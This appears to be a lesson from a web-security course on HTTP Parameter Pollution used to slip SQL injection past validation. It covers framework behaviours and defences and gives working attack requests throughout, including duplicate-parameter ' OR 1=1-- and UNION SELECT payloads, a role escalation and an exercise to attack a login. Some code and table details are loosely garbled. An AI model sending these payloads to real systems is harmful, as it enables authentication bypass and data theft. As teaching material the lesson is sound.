HTTP Parameter Pollution (HPP) exploits how different frameworks and servers handle duplicate parameters in HTTP requests. By submitting multiple parameters with the same name, attackers can bypass validation or manipulate application logic, often leading to SQL injection vulnerabilities.
HTTP Parameter Pollution occurs when an attacker submits multiple HTTP parameters with the same name. Different frameworks handle these duplicates in different ways, creating opportunities for injection attacks.
Normal Request:
GET /search?user=admin&filter=active
HPP Attack:
GET /search?user=admin&user=' OR 1=1--&filter=active
| Framework | Behavior | Injection Result |
|---|---|---|
| PHP/Apache | Last value wins | user = ' OR 1=1-- |
| ASP.NET/IIS | Comma-separated | user = admin,' OR 1=1-- |
| JSP/Tomcat | First value wins | user = admin |
| Python/Django | List of values | user = ['admin', "' OR 1=1--"] |
When applications validate one parameter occurrence but use another in the SQL query:
Attack Flow:
POST /login HTTP/1.1
Content-Type: application/x-www-form-urlencoded
username=admin&username=' OR 1=1--&password=anythingValidation Logic (Vulnerable):
// Only validates first occurrence
$username = $_GET['username']; // Gets 'admin'
// But some frameworks concatenate or use last value in queryBackend Query Construction:
// Some implementations build query like:
$query = "SELECT * FROM users WHERE username = '" . implode(',', $_GET['username']) . "'";
// Results in: SELECT * FROM users WHERE username = 'admin,' OR 1=1--'GET: /search?user=safe
POST: user=' OR 1=1--
Result: Framework may prioritize POST over GET or vice versa
Common Framework Behavior:
| Framework | GET Priority | POST Priority |
|---|---|---|
| PHP | $_GET | $_POST |
| Django | request.GET | request.POST |
| Express.js | req.query | req.body |
POST /api/users HTTP/1.1
Content-Type: application/json
{
"filter": "active",
"filter": "' OR 1=1--"
}Some JSON parsers use the last value, others create arrays.
GET /search?user[]=admin&user[]=' OR 1=1--
Some frameworks: user = admin,' OR 1=1--
# Test duplicate parameters
GET /test?id=1&id=2
# Check which value is used in response/queryTesting Strategy:
- Send duplicate parameters with different values
- Observe which value appears in response
- Identify framework-specific behavior
- Test with special characters to detect concatenation
GET /search?user=admin&user=' UNION SELECT * FROM admin--# Form data with duplicates
Content-Type: application/x-www-form-urlencoded
user=admin&user=' OR 1=1--
# JSON with duplicates
Content-Type: application/json
{"user": "admin", "user": "' OR 1=1--"}POST /register HTTP/1.1
username=john&username=admin'--&email=john@test.comHow it works:
- Validation checks
username=john(clean) - Query uses
username=admin'--(injected)
GET /admin?role=user&role=adminSome frameworks concatenate:
WHERE role = 'user,admin'When frameworks concatenate duplicate parameters:
POST /login
id=1&id=' OR 1=1--Result:
SELECT * FROM users WHERE id = '1,' OR 1=1--'def get_single_param(params, name):
"""Always use first or last consistently"""
value = params.get(name)
if isinstance(value, list):
return value[0] # Consistently use first
return valueif (is_array($_GET['user'])) {
die("Invalid parameter format");
}// Express.js: Disable extended parsing
app.use(express.urlencoded({ extended: false }));
// Django: Use strict parsing
request.GET.get('user') # Returns single valueTest duplicate parameters against different frameworks and document their behavior.
Test Payload:
GET /test?param=value1¶m=value2
Find an application that uses HPP-vulnerable parameter handling and inject SQL via the second parameter.
Target:
POST /login
username=admin&username=' OR 1=1--Test applications that accept array-style parameters:
GET /search?filter[]=active&filter[]=' UNION SELECT * FROM admin--
- HPP exploits framework-specific parameter handling
- Different technologies = different vulnerabilities
- Validation often only checks first occurrence
- Concatenation can create injection opportunities
- Consistent parameter handling prevents HPP
Continue to 15 - Heavy Query DoS to learn about resource exhaustion attacks.